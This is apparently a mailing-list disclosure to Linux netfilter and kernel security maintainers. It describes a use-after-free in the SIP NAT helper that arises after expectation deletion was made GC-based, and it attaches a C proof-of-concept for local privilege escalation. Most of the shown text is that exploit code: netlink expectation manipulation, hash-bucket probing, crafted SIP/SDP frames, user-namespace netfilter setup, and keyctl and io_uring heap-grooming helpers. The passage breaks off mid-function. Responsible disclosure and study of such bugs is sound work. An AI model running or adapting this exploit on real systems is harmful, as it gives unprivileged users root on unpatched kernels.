Linux Netfilter development
 help / color / mirror / Atom feed
* netfilter: nf_nat_sip expectation UAF permits local privilege escalation
@ 2026-07-10 23:19 Jaeyeong Lee
  2026-07-11  5:29 ` Greg KH
  0 siblings, 1 reply; 10+ messages in thread
From: Jaeyeong Lee @ 2026-07-10 23:19 UTC (permalink / raw)
  To: pablo@netfilter.org, fw@strlen.de
  Cc: phil@nwl.cc, netfilter-devel@vger.kernel.org, security@kernel.org


[-- Attachment #1.1: Type: text/plain, Size: 45165 bytes --]

## Vulnerability Summary

The way nf_conntrack expectations are deleted was changed from synchronous deletion to GC-based deferred deletion, but the SIP NAT helper still assumes that expectations are removed immediately. As a result, the same expectation object that is already linked into the hash/list gets re-inserted with only its port changed, causing list corruption and a use-after-free.

On systems where unprivileged user namespace creation is allowed, an ordinary local user can reach this path from within a user/network namespace that they own. Capabilities in the initial user namespace are not required. On an unpatched mainline kernel, we verified not only a kernel crash but also an LPE leading all the way to root in the initial user namespace.

## Original Introducing Commit

The problem was introduced in the following commit.

b8b09dc2bf35a00d4e0556b5d6308c7b917ebda2
netfilter: nf_conntrack_expect: use conntrack GC to reap expectations

This commit has been included since v7.2-rc1. v7.1 is not affected, while v7.2-rc1 and v7.2-rc2 are affected.

## Behavior Before the Change

The original linux-mainline-head/net/netfilter/nf_conntrack_expect.c:294 internally unlinked the expectation synchronously.

Therefore, after the function returned, the expectation's:

- hnode in the global expectation hash
- lnode in the master conntrack expectation list

were both in a removed state. The caller could change the tuple or port of the same object and pass it again to nf_ct_expect_related().

## Behavior After the Change

After the offending commit, nf_ct_unexpect_related() does not perform the actual unlink and only sets NF_CT_EXPECT_DEAD as follows.

WRITE_ONCE(exp->flags, exp->flags | NF_CT_EXPECT_DEAD);

The object is still linked into the following data structures.

nf_ct_expect_hash[old_bucket] -> exp->hnode
master_help->expectations -> exp->lnode

The actual removal is later performed by GC paths such as nf_ct_expectation_gc().

In other words, the meaning of the function effectively changed as follows.

Before: on return, the object is completely removed from the hash/list
After: on return, only the DEAD flag is set and the object is still linked

## Vulnerable SIP NAT Path

The offending caller is linux-mainline-head/net/netfilter/nf_nat_sip.c:586.

To reserve the RTP and RTCP ports of SIP/SDP, it repeats the following operations.

1. Set the destination port of the RTP expectation to p.
2. Insert the RTP expectation with nf_ct_expect_related(rtp_exp).
3. Set the RTCP expectation's port to p + 1 and insert it.
4. If the RTCP port is already in use and -EBUSY is returned, cancel the RTP expectation.
5. In the next iteration, change the port to p + 2 and reuse the same rtp_exp.

The problematic code is the following flow.

ret = nf_ct_expect_related(rtcp_exp, NF_CT_EXP_F_SKIP_MASTER);
if (ret == -EBUSY) {
nf_ct_unexpect_related(rtp_exp);
continue;
}

This code assumes that nf_ct_unexpect_related(rtp_exp) unlinks the RTP expectation immediately. However, after the change, only the DEAD flag is set and rtp_exp is still linked into the existing hash bucket and master list.

In the next iteration, the port of the same object is changed.

rtp_exp->tuple.dst.u.udp.port = htons(port);
nf_ct_expect_related(rtp_exp, NF_CT_EXP_F_SKIP_MASTER);

## Data Structure Corruption Process

If the original RTP port p and the changed port p + 2 compute to different expectation hash buckets, __nf_ct_expect_check() only inspects the new bucket.

Therefore it fails to find the same rtp_exp that is still linked in the old bucket, and calls nf_ct_expect_insert().

nf_ct_expect_insert() re-inserts the same nodes of an already-linked object.

hlist_add_head_rcu(&exp->lnode, &master_help->expectations);
hlist_add_head_rcu(&exp->hnode, &nf_ct_expect_hash[h]);

As a result:

- The same hnode is re-inserted into a different hash bucket.
- The same lnode is re-inserted into the same master list.
- The lnode may form a cycle pointing to itself.
- A stale entry pointing to the object remains in the previous hash bucket.
- expect_count, expecting[], and exp->use no longer match the actual list membership.
- NF_CT_EXPECT_DEAD also remains set, so the object becomes a GC removal target.

Afterwards, when a GC or conntrack cleanup path unlinks this object, the corrupted list may cause the same object to be processed repeatedly, or nf_ct_expect_put() to be performed more times than the reference count.

Ultimately, even after the expectation object has been freed via RCU, a use-after-free condition is created in which it can still be accessed through the existing hash/list paths.

The observed crash path is as follows.

nf_ct_expectation_gc()
-> nf_ct_unlink_expect_report()
-> corrupted/stale expectation access

The same corruption can also surface during nf_ct_remove_expectations() or the network namespace cleanup process.

## Attack Reachability Conditions

The privileges at the start of the attack are as follows.

uid=1000
CapEff=0
no capabilities in the initial user namespace

When unprivileged user namespace creation is allowed, the attacker can create a user/network namespace that they own, in the same way as unshare -Urn. The required CAP_NET_ADMIN and CAP_NET_RAW are obtained only within this new namespace.

CAP_NET_ADMIN in the initial user namespace is not required.

Within the network namespace they own, the attacker can:

- Set up a NAT flow with the SIP conntrack helper attached,
- Arrange it so that the RTP expectation insertion succeeds but the RTCP expectation insertion becomes -EBUSY, and
- Have SIP/SDP packets processed,

thereby executing the vulnerable reuse path.

## Relevant Configuration

The main configuration relevant to reaching the root bug is as follows.

CONFIG_USER_NS=y
CONFIG_NET_NS=y
CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_TABLES=y
CONFIG_NFT_CT=y
Additionally, the system policy must allow unprivileged user namespace creation.

## poc
#define_GNU_SOURCE

#include<arpa/inet.h>
#include<errno.h>
#include<fcntl.h>
#include<linux/io_uring.h>
#include<linux/if_ether.h>
#include<linux/if_packet.h>
#include<linux/keyctl.h>
#include<linux/netfilter/nf_conntrack_common.h>
#include<linux/netfilter/nf_tables.h>
#include<linux/netfilter/nfnetlink.h>
#include<linux/netfilter/nfnetlink_conntrack.h>
#include<linux/netlink.h>
#include<linux/types.h>
#include<limits.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<net/if.h>
#include<poll.h>
#include<sched.h>
#include<signal.h>
#include<stdarg.h>
#include<stdbool.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/eventfd.h>
#include<sys/msg.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<sys/syscall.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/un.h>
#include<time.h>
#include<unistd.h>

#ifndefNLA_F_NESTED
#define NLA_F_NESTED (1U<<15)
#endif
#ifndefNLA_TYPE_MASK
#define NLA_TYPE_MASK ~(NLA_F_NESTED | (1U<<14))
#endif
#ifndefNLA_OK
#define NLA_OK(a, rem) \
((rem) >= (int)sizeof(struct nlattr) &&\
(a)->nla_len>= sizeof(struct nlattr) &&\
(a)->nla_len<= (rem))
#endif
#ifndefNLA_NEXT
#define NLA_NEXT(a, rem) \
((rem) -=NLA_ALIGN((a)->nla_len), \
(struct nlattr *)((char*)(a) +NLA_ALIGN((a)->nla_len)))
#endif
#ifndefNF_CT_EXPECT_PERMANENT
#define NF_CT_EXPECT_PERMANENT 0x1
#endif

#defineARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#defineNL_BUFSZ65536

structtuple4{
uint32_tsaddr;
uint32_tdaddr;
uint16_tsport;
uint16_tdport;
uint8_tproto;
};

structnlmsg_buf{
unsignedchardata[8192];
size_tlen;
};

structexp_row{
structtuple4tuple;
structtuple4master;
uint32_tid;
uint32_tclass;
uint32_tflags;
};

structuring{
intfd;
structio_uring_paramsp;
void*sq_ring;
void*cq_ring;
size_tsq_ring_sz;
size_tcq_ring_sz;
structio_uring_sqe*sqes;
unsigned*sq_head;
unsigned*sq_tail;
unsigned*sq_mask;
unsigned*sq_entries;
unsigned*sq_array;
unsigned*cq_head;
unsigned*cq_tail;
unsigned*cq_mask;
structio_uring_cqe*cqes;
unsignedpending;
};

structstale_chain{
structtuple4victim;
structtuple4seed;
uint32_tseed_id;
};

structmsg80{
longtype;
unsignedchardata[80];
};

staticintnlfd=-1;
staticuint32_tnlseq;
staticboolpacket_ready;
staticunsignedchain_serial;

staticvoiddie(constchar*fmt, ...)
{
va_listap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
if (errno)
fprintf(stderr, ": %s", strerror(errno));
fputc('\n', stderr);
exit(EXIT_FAILURE);
}

staticvoid*xmalloc(size_tn)
{
void*p=malloc(n);

if (!p)
die("malloc(%zu)", n);
returnp;
}

staticvoidnlmsg_init(structnlmsg_buf*b, uint16_ttype, uint16_tflags,
uint8_tfamily)
{
structnlmsghdr*nlh;
structnfgenmsg*nfg;

memset(b, 0, sizeof(*b));
b->len=NLMSG_LENGTH(sizeof(*nfg));
nlh= (structnlmsghdr*)b->data;
nlh->nlmsg_len=b->len;
nlh->nlmsg_type=type;
nlh->nlmsg_flags=flags;
nlh->nlmsg_seq=++nlseq;
nfg=NLMSG_DATA(nlh);
nfg->nfgen_family =family;
nfg->version = NFNETLINK_V0;
nfg->res_id =htons(0);
}

staticstructnlattr*nla_put(structnlmsg_buf*b, uint16_ttype,
constvoid*data, size_tlen)
{
structnlmsghdr*nlh= (structnlmsghdr*)b->data;
size_traw=NLA_HDRLEN+len;
size_taligned=NLA_ALIGN(raw);
structnlattr*a;

if (b->len+aligned>sizeof(b->data))
die("netlink message overflow");
a= (structnlattr*)(b->data+b->len);
a->nla_type=type;
a->nla_len=raw;
if (len)
memcpy((char*)a+NLA_HDRLEN, data, len);
if (aligned>raw)
memset((char*)a+raw, 0, aligned-raw);
b->len+=aligned;
nlh->nlmsg_len=b->len;
returna;
}

staticvoidnla_put_u8(structnlmsg_buf*b, uint16_ttype, uint8_tv)
{
nla_put(b, type, &v, sizeof(v));
}

staticvoidnla_put_be16(structnlmsg_buf*b, uint16_ttype, uint16_thost)
{
uint16_tv=htons(host);
nla_put(b, type, &v, sizeof(v));
}

staticvoidnla_put_be32_host(structnlmsg_buf*b, uint16_ttype, uint32_thost)
{
uint32_tv=htonl(host);
nla_put(b, type, &v, sizeof(v));
}

staticstructnlattr*nla_nest_start(structnlmsg_buf*b, uint16_ttype)
{
returnnla_put(b, type|NLA_F_NESTED, NULL, 0);
}

staticvoidnla_nest_end(structnlmsg_buf*b, structnlattr*a)
{
a->nla_len= (char*)b->data+b->len- (char*)a;
}

staticvoidput_tuple(structnlmsg_buf*b, uint16_ttype,
conststructtuple4*t)
{
structnlattr*outer=nla_nest_start(b, type);
structnlattr*ip=nla_nest_start(b, CTA_TUPLE_IP);

nla_put(b, CTA_IP_V4_SRC, &t->saddr, sizeof(t->saddr));
nla_put(b, CTA_IP_V4_DST, &t->daddr, sizeof(t->daddr));
nla_nest_end(b, ip);

structnlattr*pr=nla_nest_start(b, CTA_TUPLE_PROTO);
nla_put_u8(b, CTA_PROTO_NUM, t->proto);
nla_put_be16(b, CTA_PROTO_SRC_PORT, ntohs(t->sport));
nla_put_be16(b, CTA_PROTO_DST_PORT, ntohs(t->dport));
nla_nest_end(b, pr);
nla_nest_end(b, outer);
}

staticintnl_open(void)
{
structsockaddr_nlsa= { .nl_family=AF_NETLINK };

nlfd=socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (nlfd<0)
die("socket(NETLINK_NETFILTER)");
if (bind(nlfd, (structsockaddr*)&sa, sizeof(sa)) <0)
die("bind(NETLINK_NETFILTER)");
returnnlfd;
}

staticintnl_send(conststructnlmsg_buf*b)
{
structsockaddr_nlsa= { .nl_family=AF_NETLINK };
ssize_tn;

n=sendto(nlfd, b->data, b->len, 0, (structsockaddr*)&sa, sizeof(sa));
if (n<0)
return-errno;
if ((size_t)n!=b->len)
return-EIO;
return0;
}

staticintnl_ack(uint32_tseq)
{
unsignedcharbuf[NL_BUFSZ];

for (;;) {
ssize_tn=recv(nlfd, buf, sizeof(buf), 0);
structnlmsghdr*h;

if (n<0) {
if (errno==EINTR)
continue;
return-errno;
}
for (h= (structnlmsghdr*)buf; NLMSG_OK(h, n);
h=NLMSG_NEXT(h, n)) {
if (h->nlmsg_seq!=seq)
continue;
if (h->nlmsg_type==NLMSG_ERROR) {
structnlmsgerr*e=NLMSG_DATA(h);
returne->error;
}
if (h->nlmsg_type==NLMSG_DONE)
return0;
}
}
}

staticintnl_transact(structnlmsg_buf*b)
{
structnlmsghdr*h= (structnlmsghdr*)b->data;
intret=nl_send(b);

if (ret)
returnret;
returnnl_ack(h->nlmsg_seq);
}

staticvoidadd_help(structnlmsg_buf*b, constchar*name)
{
structnlattr*help=nla_nest_start(b, CTA_HELP);

nla_put(b, CTA_HELP_NAME, name, strlen(name) +1);
nla_nest_end(b, help);
}

staticintct_new(conststructtuple4*orig, conststructtuple4*reply,
constchar*helper, uint32_tnat_src, unsignedtimeout)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_NEW,
NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE|NLM_F_EXCL,
AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, orig);
put_tuple(&b, CTA_TUPLE_REPLY, reply);
nla_put_be32_host(&b, CTA_TIMEOUT, timeout);
if (helper)
add_help(&b, helper);
if (nat_src) {
structnlattr*nat=nla_nest_start(&b, CTA_NAT_SRC);
nla_put(&b, CTA_NAT_V4_MINIP, &nat_src, sizeof(nat_src));
nla_put(&b, CTA_NAT_V4_MAXIP, &nat_src, sizeof(nat_src));
nla_nest_end(&b, nat);
}
returnnl_transact(&b);
}

staticintct_del(conststructtuple4*orig)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, orig);
returnnl_transact(&b);
}

staticintexp_new(conststructtuple4*master, conststructtuple4*tuple,
conststructtuple4*mask, unsignedclass, unsignedflags,
unsignedtimeout)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_NEW,
NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE|NLM_F_EXCL,
AF_INET);
put_tuple(&b, CTA_EXPECT_MASTER, master);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
put_tuple(&b, CTA_EXPECT_MASK, mask);
nla_put_be32_host(&b, CTA_EXPECT_TIMEOUT, timeout);
nla_put_be32_host(&b, CTA_EXPECT_CLASS, class);
if (flags)
nla_put_be32_host(&b, CTA_EXPECT_FLAGS, flags);
returnnl_transact(&b);
}

staticintexp_del(conststructtuple4*tuple)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
returnnl_transact(&b);
}

staticintexp_del_id(conststructtuple4*tuple, uint32_tid)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
nla_put(&b, CTA_EXPECT_ID, &id, sizeof(id));
returnnl_transact(&b);
}

staticstructnlattr*nla_find(constvoid*data, size_tlen, unsignedtype)
{
structnlattr*a;

for (a= (structnlattr*)data; NLA_OK(a, len); a=NLA_NEXT(a, len))
if ((a->nla_type&NLA_TYPE_MASK) ==type)
returna;
returnNULL;
}

staticboolparse_tuple_attr(structnlattr*outer, structtuple4*t)
{
size_tlen=outer->nla_len-NLA_HDRLEN;
void*data= (char*)outer+NLA_HDRLEN;
structnlattr*ip=nla_find(data, len, CTA_TUPLE_IP);
structnlattr*pr=nla_find(data, len, CTA_TUPLE_PROTO);
structnlattr*a;
size_tilen, plen;

if (!ip||!pr)
returnfalse;
memset(t, 0, sizeof(*t));
ilen=ip->nla_len-NLA_HDRLEN;
a=nla_find((char*)ip+NLA_HDRLEN, ilen, CTA_IP_V4_SRC);
if (a)
memcpy(&t->saddr, (char*)a+NLA_HDRLEN, 4);
a=nla_find((char*)ip+NLA_HDRLEN, ilen, CTA_IP_V4_DST);
if (a)
memcpy(&t->daddr, (char*)a+NLA_HDRLEN, 4);
plen=pr->nla_len-NLA_HDRLEN;
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_NUM);
if (a)
memcpy(&t->proto, (char*)a+NLA_HDRLEN, 1);
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_SRC_PORT);
if (a)
memcpy(&t->sport, (char*)a+NLA_HDRLEN, 2);
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_DST_PORT);
if (a)
memcpy(&t->dport, (char*)a+NLA_HDRLEN, 2);
returntrue;
}

staticsize_texp_dump_for(conststructtuple4*master,
structexp_row*rows, size_tcap)
{
structnlmsg_bufb;
structnlmsghdr*req;
unsignedcharbuf[NL_BUFSZ];
size_tnr=0;
booldone=false;
intret;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_GET,
NLM_F_REQUEST|NLM_F_DUMP, AF_INET);
if (master)
put_tuple(&b, CTA_EXPECT_MASTER, master);
req= (structnlmsghdr*)b.data;
ret=nl_send(&b);
if (ret)
die("expectation dump send: %s", strerror(-ret));
while (!done) {
ssize_tn=recv(nlfd, buf, sizeof(buf), 0);
structnlmsghdr*h;

if (n<0) {
if (errno==EINTR)
continue;
die("expectation dump recv");
}
for (h= (structnlmsghdr*)buf; NLMSG_OK(h, n);
h=NLMSG_NEXT(h, n)) {
structnfgenmsg*nfg;
structnlattr*attrs, *ta, *ma, *ia, *ca, *fa;
size_talen;

if (h->nlmsg_seq!=req->nlmsg_seq)
continue;
if (h->nlmsg_type==NLMSG_DONE) {
done=true;
break;
}
if (h->nlmsg_type==NLMSG_ERROR) {
structnlmsgerr*e=NLMSG_DATA(h);
if (e->error)
die("expectation dump: %s", strerror(-e->error));
done=true;
break;
}
if (nr==cap)
die("expectation dump capacity");
nfg=NLMSG_DATA(h);
attrs= (structnlattr*)((char*)nfg+NLMSG_ALIGN(sizeof(*nfg)));
alen=h->nlmsg_len-NLMSG_LENGTH(sizeof(*nfg));
ta=nla_find(attrs, alen, CTA_EXPECT_TUPLE);
if (!ta||!parse_tuple_attr(ta, &rows[nr].tuple))
continue;
memset(&rows[nr].master, 0, sizeof(rows[nr].master));
rows[nr].id=rows[nr].class=rows[nr].flags=0;
ma=nla_find(attrs, alen, CTA_EXPECT_MASTER);
ia=nla_find(attrs, alen, CTA_EXPECT_ID);
ca=nla_find(attrs, alen, CTA_EXPECT_CLASS);
fa=nla_find(attrs, alen, CTA_EXPECT_FLAGS);
if (ma)
parse_tuple_attr(ma, &rows[nr].master);
if (ia&&ia->nla_len>=NLA_HDRLEN+sizeof(uint32_t))
memcpy(&rows[nr].id, (char*)ia+NLA_HDRLEN,
sizeof(rows[nr].id));
if (ca)
rows[nr].class=ntohl(*(uint32_t*)((char*)ca+NLA_HDRLEN));
if (fa)
rows[nr].flags=ntohl(*(uint32_t*)((char*)fa+NLA_HDRLEN));
nr++;
}
}
returnnr;
}

staticsize_texp_dump(structexp_row*rows, size_tcap)
{
returnexp_dump_for(NULL, rows, cap);
}

staticsize_texp_dump_master(conststructtuple4*master,
structexp_row*rows, size_tcap)
{
returnexp_dump_for(master, rows, cap);
}

staticintrow_pos(conststructexp_row*rows, size_tnr, uint32_tdaddr,
unsigneddport)
{
for (size_ti=0; i<nr; i++)
if (rows[i].tuple.daddr==daddr&&ntohs(rows[i].tuple.dport) ==dport)
returni;
return-1;
}

staticstructtuple4exp_tuple(uint32_tdst, unsignedport);
staticstructtuple4exp_mask(boolexact_source);

staticvoidexpect_pair_add(conststructtuple4*master, uint32_tdaddr,
unsignedfirst, unsignedsecond)
{
structtuple4mask=exp_mask(true);
structtuple4a=exp_tuple(daddr, first);
structtuple4b=exp_tuple(daddr, second);
intret;

a.saddr=b.saddr=inet_addr("192.0.2.20");
a.sport=b.sport=htons(40000);
ret=exp_new(master, &a, &mask, 1, 0, 3600);
if (ret)
die("expect marker %u: %s", first, strerror(-ret));
ret=exp_new(master, &b, &mask, 1, 0, 3600);
if (ret)
die("expect marker %u: %s", second, strerror(-ret));
}

staticvoidexpect_pair_del(uint32_tdaddr, unsigneda_port, unsignedb_port)
{
structtuple4a=exp_tuple(daddr, a_port);
structtuple4b=exp_tuple(daddr, b_port);
intret;

a.saddr=b.saddr=inet_addr("192.0.2.20");
a.sport=b.sport=htons(40000);
ret=exp_del(&a);
if (ret)
die("delete expect marker %u: %s", a_port, strerror(-ret));
ret=exp_del(&b);
if (ret)
die("delete expect marker %u: %s", b_port, strerror(-ret));
}

staticintexpect_pair_order(uint32_tdaddr, unsigneda_port,
unsignedb_port)
{
structexp_rowrows[32];
size_tnr=exp_dump(rows, ARRAY_SIZE(rows));
inta=row_pos(rows, nr, daddr, a_port);
intb=row_pos(rows, nr, daddr, b_port);

if (a<0||b<0||a==b)
die("expectation dump lost markers %u/%u", a_port, b_port);
returna<b?-1:1;
}

staticboolsame_expect_bucket(conststructtuple4*master, uint32_tdaddr,
unsigneda_port, unsignedb_port)
{
intab, ba;

expect_pair_add(master, daddr, a_port, b_port);
ab=expect_pair_order(daddr, a_port, b_port);
expect_pair_del(daddr, a_port, b_port);

expect_pair_add(master, daddr, b_port, a_port);
ba=expect_pair_order(daddr, a_port, b_port);
expect_pair_del(daddr, a_port, b_port);

returnab!=ba;
}

staticunsignedfind_sip_hash_port(conststructtuple4*master, uint32_tdaddr)
{
for (unsignedp=1024; p<=65530; p+=2) {
if (!same_expect_bucket(master, daddr, p, p+3))
continue;
if (same_expect_bucket(master, daddr, p, p+2))
continue;
returnp;
}
die("no suitable SIP expectation hash relation");
return0;
}

staticstructtuple4tuple_make(constchar*saddr, unsignedsport,
constchar*daddr, unsigneddport)
{
structtuple4t= {
.saddr=inet_addr(saddr),
.daddr=inet_addr(daddr),
.sport=htons(sport),
.dport=htons(dport),
.proto= IPPROTO_UDP,
};

returnt;
}

staticstructtuple4tuple_reply(conststructtuple4*o)
{
structtuple4r= {
.saddr=o->daddr,
.daddr=o->saddr,
.sport=o->dport,
.dport=o->sport,
.proto=o->proto,
};

returnr;
}

staticbooltuple_equal(conststructtuple4*a, conststructtuple4*b)
{
returna->saddr==b->saddr&&a->daddr==b->daddr&&
a->sport==b->sport&&a->dport==b->dport&&
a->proto==b->proto;
}

staticstructtuple4exp_tuple(uint32_tdst, unsignedport)
{
structtuple4t= {
.saddr=0,
.daddr=dst,
.sport=0,
.dport=htons(port),
.proto= IPPROTO_UDP,
};

returnt;
}

staticstructtuple4exp_mask(boolexact_source)
{
structtuple4m= {
.saddr=exact_source?0xffffffffU:0,
.daddr=0xffffffffU,
.sport=exact_source?0xffffU:0,
.dport=0xffffU,
.proto=0xff,
};

returnm;
}

staticintrun_cmd(constchar*cmd)
{
intst=system(cmd);

if (st==-1)
return-errno;
if (!WIFEXITED(st) ||WEXITSTATUS(st))
return-ECHILD;
return0;
}

staticintpin_last_cpu(void)
{
cpu_set_tallowed, one;
intcpu=-1;

CPU_ZERO(&allowed);
if (sched_getaffinity(0, sizeof(allowed), &allowed) <0)
die("sched_getaffinity");
for (inti=0; i< CPU_SETSIZE; i++)
if (CPU_ISSET(i, &allowed))
cpu=i;
if (cpu<0)
die("no allowed CPU");
CPU_ZERO(&one);
CPU_SET(cpu, &one);
if (sched_setaffinity(0, sizeof(one), &one) <0)
die("sched_setaffinity(%d)", cpu);
returncpu;
}

staticvoidnetns_setup(void)
{
if (run_cmd("/usr/sbin/ip link set lo up") ||
run_cmd("/usr/sbin/nft add table ip lpe") ||
run_cmd("/usr/sbin/nft 'add ct helper ip lpe sip { type \"sip\" protocol udp; }'"))
die("net namespace netfilter setup failed");
}

staticvoidpacket_path_setup(void)
{
if (run_cmd("/usr/sbin/ip link add v0 type veth peer name v1") ||
run_cmd("/usr/sbin/ip link set v0 address 02:00:00:00:00:10") ||
run_cmd("/usr/sbin/ip link set v1 address 02:00:00:00:00:11") ||
run_cmd("/usr/sbin/ip address add 10.23.0.1/32 dev v1") ||
run_cmd("/usr/sbin/ip link set v0 up") ||
run_cmd("/usr/sbin/ip link set v1 up") ||
run_cmd("/usr/sbin/ip route add 10.23.0.2/32 dev v1"))
die("veth setup failed");
}

staticuint16_tipv4_checksum(constvoid*data, size_tlen)
{
constunsignedchar*p=data;
uint32_tsum=0;

while (len>=2) {
sum+= ((uint16_t)p[0] <<8) |p[1];
p+=2;
len-=2;
}
if (len)
sum+= (uint16_t)p[0] <<8;
while (sum>>16)
sum= (sum&0xffff) + (sum>>16);
returnhtons((uint16_t)~sum);
}

staticvoidsend_sip_sdp(unsignedmedia_port)
{
staticconstunsignedchardst_mac[ETH_ALEN] =
{ 0x02, 0x00, 0x00, 0x00, 0x00, 0x11 };
staticconstunsignedcharsrc_mac[ETH_ALEN] =
{ 0x02, 0x00, 0x00, 0x00, 0x00, 0x10 };
charbody[512], payload[1024];
structsockaddr_llsa= { .sll_family =AF_PACKET };
structethhdr*eth;
structiphdr*ip;
structudphdr*udp;
unsignedchar*frame;
size_tbody_len, payload_len, frame_len;
intfd, n;

n=snprintf(body, sizeof(body),
"v=0\r\n"
"o=- 0 0 IN IP4 10.23.0.2\r\n"
"c=IN IP4 10.23.0.2\r\n"
"m=audio %u RTP/AVP 0\r\n", media_port);
if (n<0|| (size_t)n>=sizeof(body))
die("SDP body formatting");
body_len=n;
n=snprintf(payload, sizeof(payload),
"ACK sip:10.23.0.1 SIP/2.0\r\n"
"CSeq: 1 ACK\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: %zu\r\n"
"\r\n%s", body_len, body);
if (n<0|| (size_t)n>=sizeof(payload))
die("SIP packet formatting");
payload_len=n;
frame_len=sizeof(*eth) +sizeof(*ip) +sizeof(*udp) +payload_len;
frame=calloc(1, frame_len);
if (!frame)
die("calloc SIP frame");
eth= (structethhdr*)frame;
ip= (structiphdr*)(eth+1);
udp= (structudphdr*)(ip+1);
memcpy(eth->h_dest, dst_mac, ETH_ALEN);
memcpy(eth->h_source, src_mac, ETH_ALEN);
eth->h_proto =htons(ETH_P_IP);
ip->version =4;
ip->ihl =5;
ip->tot_len =htons(sizeof(*ip) +sizeof(*udp) +payload_len);
ip->id =htons(0x1234);
ip->ttl =64;
ip->protocol = IPPROTO_UDP;
ip->saddr =inet_addr("10.23.0.2");
ip->daddr =inet_addr("10.23.0.1");
ip->check =ipv4_checksum(ip, sizeof(*ip));
udp->source =htons(40000);
udp->dest =htons(5060);
udp->len =htons(sizeof(*udp) +payload_len);
udp->check =0;
memcpy(udp+1, payload, payload_len);

fd=socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IP));
if (fd<0)
die("socket(AF_PACKET)");
sa.sll_protocol =htons(ETH_P_IP);
sa.sll_ifindex =if_nametoindex("v0");
sa.sll_halen = ETH_ALEN;
memcpy(sa.sll_addr, dst_mac, ETH_ALEN);
if (!sa.sll_ifindex)
die("if_nametoindex(v0)");
if (sendto(fd, frame, frame_len, 0,
(structsockaddr*)&sa, sizeof(sa)) != (ssize_t)frame_len)
die("send SIP frame");
close(fd);
free(frame);
}

staticvoidverify_clean_sip(unsignedport, uint32_tnat_addr)
{
structtuple4v=tuple_make("10.23.0.2", 40000,
"10.23.0.1", 5060);
structtuple4reply=tuple_reply(&v);
structtuple4e=exp_tuple(nat_addr, port);
structtuple4r=exp_tuple(nat_addr, port+1);
structexp_rowrows[32];
size_tnr;
intret;

ret=ct_new(&v, &reply, "sip", nat_addr, 3600);
if (ret)
die("create NAT SIP master: %s", strerror(-ret));
packet_path_setup();
send_sip_sdp(port);
fprintf(stderr, "stage: SIP duplicate insertion reached\n");
nr=exp_dump(rows, ARRAY_SIZE(rows));
if (row_pos(rows, nr, nat_addr, port) <0||
row_pos(rows, nr, nat_addr, port+1) <0)
die("clean SIP packet did not create RTP/RTCP expectations");
e.saddr=r.saddr=inet_addr("10.23.0.1");
ret=exp_del(&e);
if (ret)
die("delete clean RTP expectation: %s", strerror(-ret));
ret=exp_del(&r);
if (ret)
die("delete clean RTCP expectation: %s", strerror(-ret));
ret=ct_del(&v);
if (ret)
die("delete clean SIP master: %s", strerror(-ret));
printf("clean SIP/NAT helper path verified\n");
}

staticlongadd_user_key(constunsignedchar*desc, size_tdlen,
constvoid*payload, size_tplen)
{
char*s=xmalloc(dlen+1);
longid;

memcpy(s, desc, dlen);
s[dlen] =0;
id=syscall(SYS_add_key, "user", s, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
free(s);
returnid;
}

staticlongupdate_user_key(longid, constvoid*payload, size_tplen)
{
returnsyscall(SYS_keyctl, KEYCTL_UPDATE, id, payload, plen, 0);
}

staticlongread_user_key(longid, void*buffer, size_tbuflen)
{
returnsyscall(SYS_keyctl, KEYCTL_READ, id, buffer, buflen, 0);
}

staticvoiduring_init(structuring*r, unsignedentries)
{
size_tring_sz;

memset(r, 0, sizeof(*r));
r->fd=syscall(SYS_io_uring_setup, entries, &r->p);
if (r->fd<0)
die("io_uring_setup");
r->sq_ring_sz=r->p.sq_off.array+
r->p.sq_entries*sizeof(unsigned);
r->cq_ring_sz=r->p.cq_off.cqes+
r->p.cq_entries*sizeof(structio_uring_cqe);
if (r->p.features&IORING_FEAT_SINGLE_MMAP) {
ring_sz=r->sq_ring_sz>r->cq_ring_sz?
r->sq_ring_sz:r->cq_ring_sz;
r->sq_ring=mmap(NULL, ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_SQ_RING);
if (r->sq_ring== MAP_FAILED)
die("mmap io_uring rings");
